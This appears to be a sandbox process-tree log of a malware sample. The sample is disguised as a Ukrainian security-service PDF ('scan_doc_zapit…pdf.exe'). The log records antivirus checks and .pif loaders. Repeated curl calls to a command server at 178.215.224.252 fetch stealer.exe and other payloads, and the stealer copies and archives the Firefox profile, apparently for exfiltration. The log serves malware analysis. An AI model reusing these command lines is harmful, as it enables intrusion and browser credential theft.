      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=6072 -childID 6 -isForBrowser -prefsHandle 5644 -prefMapHandle 5728 -prefsLen 27272 -prefMapSize 244658 -jsInitHandle 1308 -jsInitLen 234952 -parentBuildID 20240401114208 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3c038e6a-52aa-4b4d-9481-a0cdcf6f6194} 4300 "\\.\pipe\gecko-crash-server-pipe.4300" tab
      4⤵
      PID:5528
- C:\Program Files\7-Zip\7zG.exe
  "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\Запит СБУ\" -an -ai#7zMap23553:96:7zEvent11011
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  PID:1652
- C:\Users\Admin\Desktop\Запит СБУ\Запит СБУ\scan_doc_zapit_836893.pdf.exe
  "C:\Users\Admin\Desktop\Запит СБУ\Запит СБУ\scan_doc_zapit_836893.pdf.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5704
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c copy Yes Yes.bat & Yes.bat
    3⤵
    PID:4596
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4376
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa opssvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3144
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1636
  - - C:\Windows\SysWOW64\findstr.exe
      findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2900
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 185027
      4⤵
      System Location Discovery: System Language Discovery
      PID:1136
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "venezuelalandscapesmeantposters" Tournaments
      4⤵
      System Location Discovery: System Language Discovery
      PID:5292
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b ..\Martin + ..\Organizing + ..\Finnish + ..\Determined + ..\Already + ..\Presentations + ..\Hint H
      4⤵
      PID:5548
  - - C:\Users\Admin\AppData\Local\Temp\185027\Spy.pif
      Spy.pif H
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Checks computer location settings
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:4380
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName > C:\Users\Admin\AppData\Local\temp\778 2>&1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:5536
      - C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:5476
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C type C:\Users\Admin\AppData\Local\temp\778 > C:\Users\Admin\AppData\Local\temp\778
        5⤵
        
        PID:5196
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\jrjap" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:5792
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\jrjap" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:2616
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\synbc" "178.215.224.252/v10/ukyh.php?jspo=5"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4340
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\synbc" "178.215.224.252/v10/ukyh.php?jspo=5"
        6⤵
        
        PID:2532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\kbhpc" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2712
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\kbhpc" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:3532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\gngbi" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3080
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\gngbi" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:5124
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\qbvvp" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
        5⤵
        
        PID:3100
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\qbvvp" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=YXp2dy5leGU%3D"
        6⤵
        
        PID:5924
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\vrkkc" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:1860
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\vrkkc" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:4720
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ocxxt" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:5128
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ocxxt" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:5180
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\uyxzd" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
        5⤵
        
        PID:4004
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\uyxzd" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=eGh3cS56aXA%3D"
        6⤵
        
        PID:1920
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cd "C:\Users\Admin\AppData\Roaming\DolphinDumps" & azvw.exe -o xhwq.zip
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2124
      - C:\Users\Admin\AppData\Roaming\DolphinDumps\azvw.exe
        
        azvw.exe -o xhwq.zip
        6⤵
        Executes dropped EXE
        
        PID:5284
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ideca" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:2808
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ideca" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:2704
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\bhomo" "178.215.224.252/v10/ukyh.php?jspo=31"
        5⤵
        
        PID:2452
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\bhomo" "178.215.224.252/v10/ukyh.php?jspo=31"
        6⤵
        
        PID:4928
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C systeminfo | findstr /C:"OS Name" > C:\Users\Admin\AppData\Roaming\DolphinDumps\jvx 2>&1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:472
      - C:\Windows\SysWOW64\systeminfo.exe
        
        systeminfo
        6⤵
        System Location Discovery: System Language Discovery
        Gathers system information
        
        PID:4164
      - C:\Windows\SysWOW64\findstr.exe
        
        findstr /C:"OS Name"
        6⤵
        
        PID:2448
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\fgzon" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:5896
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\fgzon" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:1116
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ivxji" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:3160
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ivxji" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:5244
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\shtcp" "178.215.224.252/v10/ukyh.php?jspo=7"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4660
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\shtcp" "178.215.224.252/v10/ukyh.php?jspo=7"
        6⤵
        
        PID:5168
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\irgml" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2032
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\irgml" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:5364
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\limvl" "178.215.224.252/v10/ukyh.php?jspo=10&melq=1"
        5⤵
        
        PID:5400
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\limvl" "178.215.224.252/v10/ukyh.php?jspo=10&melq=1"
        6⤵
        
        PID:1312
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ssini" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1420
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ssini" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:2616
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\zolfr" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:5112
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\zolfr" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:3080
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\gnplf" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=c3RlYWxlci5leGU%3D"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:840
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\gnplf" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=c3RlYWxlci5leGU%3D"
        6⤵
        
        PID:5236
    - - C:\Users\Admin\AppData\Local\temp\stealer.exe
        
        "C:\Users\Admin\AppData\Local\temp\stealer.exe"
        5⤵
        Checks computer location settings
        Executes dropped EXE
        Drops file in Windows directory
        System Location Discovery: System Language Discovery
        
        PID:2476
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy Your Your.bat & Your.bat
        6⤵
        System Location Discovery: System Language Discovery
        
        PID:4488
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:1140
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /I "wrsa opssvc"
        7⤵
        
        PID:3632
        
        C:\Windows\SysWOW64\tasklist.exe
        
        tasklist
        7⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3616
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr -I "avastui avgui bdservicehost nswscsvc sophoshealth"
        7⤵
        
        PID:2120
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c md 786175
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2744
        
        C:\Windows\SysWOW64\findstr.exe
        
        findstr /V "costsdurableyearstrader" Collect
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:2668
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd /c copy /b ..\Clarity + ..\Proved + ..\Segments + ..\Around + ..\Pal + ..\Risk + ..\Bind + ..\Cleaner z
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:1844
        
        C:\Users\Admin\AppData\Local\Temp\786175\Modify.pif
        
        Modify.pif z
        7⤵
        Checks computer location settings
        Executes dropped EXE
        Loads dropped DLL
        System Location Discovery: System Language Discovery
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        Suspicious use of SetWindowsHookEx
        
        PID:1604
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\yjted" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        
        PID:4252
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\yjted" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:1312
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\qrrug" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5340
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\qrrug" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5384
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\jggzl" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D"
        8⤵
        
        PID:2588
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\jggzl" "178.215.224.252/v10/ukyh.php?jspo=35&xvgj=cXl1cC56aXA%3D"
        9⤵
        
        PID:1036
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cd "C:\Users\Admin\AppData\Roaming\DolphinDumps" & azvw.exe -o qyup.zip
        8⤵
        
        PID:5324
        
        C:\Users\Admin\AppData\Roaming\DolphinDumps\azvw.exe
        
        azvw.exe -o qyup.zip
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2092
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\pslaq" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5456
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\pslaq" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:1852
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ucamn" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1760
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ucamn" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5576
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\hncai" "178.215.224.252/v10/ukyh.php?jspo=8"
        8⤵
        
        PID:3692
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\hncai" "178.215.224.252/v10/ukyh.php?jspo=8"
        9⤵
        
        PID:5376
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\drjly" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        
        PID:2172
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\drjly" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\efumx" "178.215.224.252/v10/ukyh.php?jspo=2021&jwvs=707BAEA55327362425838637396ABC"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5020
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\efumx" "178.215.224.252/v10/ukyh.php?jspo=2021&jwvs=707BAEA55327362425838637396ABC"
        9⤵
        
        PID:5256
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\qqroe" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3792
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\qqroe" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:4612
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ftdcp" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:2124
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ftdcp" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:208
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C robocopy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy" /E /XF *.lock favicons.sqlite favicons.sqlite-shm favicons.sqlite-wal /XD "Background Tasks Profiles" "Pending Pings" "Crash Reports" bookmarkbackups browser-extension-data features personality-provider settings crashes datareporting extensions minidumps saved-telemetry-pings security_state sessionstore-backups storage weave gmp-widevinecdm gmp-gmpopenh264
        8⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:3304
        
        C:\Windows\SysWOW64\Robocopy.exe
        
        robocopy "C:\Users\Admin\AppData\Roaming\Mozilla\Firefox" "C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy" /E /XF *.lock favicons.sqlite favicons.sqlite-shm favicons.sqlite-wal /XD "Background Tasks Profiles" "Pending Pings" "Crash Reports" bookmarkbackups browser-extension-data features personality-provider settings crashes datareporting extensions minidumps saved-telemetry-pings security_state sessionstore-backups storage weave gmp-widevinecdm gmp-gmpopenh264
        9⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1080
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ptvki" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4932
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ptvki" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5416
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C C:\Users\Admin\AppData\Roaming\DolphinDumps\7za.exe a "C:\Users\Admin\AppData\Roaming\DolphinDumps\707BAEA55327362425838637396ABC_ff.7z" -mhe=on "C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy\"
        8⤵
        
        PID:3000
        
        C:\Users\Admin\AppData\Roaming\DolphinDumps\7za.exe
        
        C:\Users\Admin\AppData\Roaming\DolphinDumps\7za.exe a "C:\Users\Admin\AppData\Roaming\DolphinDumps\707BAEA55327362425838637396ABC_ff.7z" -mhe=on "C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy\"
        9⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        
        PID:2208
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\hwxda" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:840
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\hwxda" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5900
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\uvvnn" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4484
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\uvvnn" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:4540
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\pqyop" "178.215.224.252/v10/ukyh.php?jspo=3002&melq=40d5af092218c80eadf4d4cdd90b4984*6&jwvs=707BAEA55327362425838637396ABC"
        8⤵
        
        PID:5688
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\pqyop" "178.215.224.252/v10/ukyh.php?jspo=3002&melq=40d5af092218c80eadf4d4cdd90b4984*6&jwvs=707BAEA55327362425838637396ABC"
        9⤵
        
        PID:1008
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C rd /s /q "C:\Users\Admin\AppData\Roaming\Mozilla\Firefoxcopy\"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:3352
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\khmpe" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        
        PID:3504
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\khmpe" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:4088
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\pfprb" "178.215.224.252/v10/ukyh.php?jspo=2016&jwvs=707BAEA55327362425838637396ABC&bsxa=1"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:1576
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\pfprb" "178.215.224.252/v10/ukyh.php?jspo=2016&jwvs=707BAEA55327362425838637396ABC&bsxa=1"
        9⤵
        
        PID:868
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\knfgp" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5104
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\knfgp" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:2932
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\rpcna" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5676
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\rpcna" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:3108
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\lsboi" "178.215.224.252/v10/ukyh.php?jspo=3002&melq=78e94bbaed705afaad67ae320ef30904*2&jwvs=707BAEA55327362425838637396ABC"
        8⤵
        
        PID:1532
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\lsboi" "178.215.224.252/v10/ukyh.php?jspo=3002&melq=78e94bbaed705afaad67ae320ef30904*2&jwvs=707BAEA55327362425838637396ABC"
        9⤵
        
        PID:5724
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ybxnd" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:5948
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ybxnd" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5220
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ycpcv" "178.215.224.252/v10/ukyh.php?jspo=2022&jwvs=707BAEA55327362425838637396ABC"
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:4476
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ycpcv" "178.215.224.252/v10/ukyh.php?jspo=2022&jwvs=707BAEA55327362425838637396ABC"
        9⤵
        
        PID:5216
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ttwqi" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        
        PID:864
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ttwqi" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\xsjal" "178.215.224.252/v10/ukyh.php?jspo=6"
        8⤵
        
        PID:1596
        
        C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\xsjal" "178.215.224.252/v10/ukyh.php?jspo=6"
        9⤵
        
        PID:5212
        
        C:\Windows\SysWOW64\choice.exe
        
        choice /d y /t 5
        7⤵
        System Location Discovery: System Language Discovery
        
        PID:5520
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\fgtfb" "178.215.224.252/v10/ukyh.php?jspo=6"
        5⤵
        
        PID:5136
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\fgtfb" "178.215.224.252/v10/ukyh.php?jspo=6"
        6⤵
        
        PID:3144
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C curl -s -o "C:\Users\Admin\AppData\Local\temp\ueneo" "178.215.224.252/v10/ukyh.php?gi"
        5⤵
        
        PID:3576
      - C:\Windows\SysWOW64\curl.exe
        
        curl -s -o "C:\Users\Admin\AppData\Local\temp\ueneo" "178.215.224.252/v10/ukyh.php?gi"
        6⤵
        
        PID:3984
    - - C:\Windows\SysWOW64\cmd.exe
        
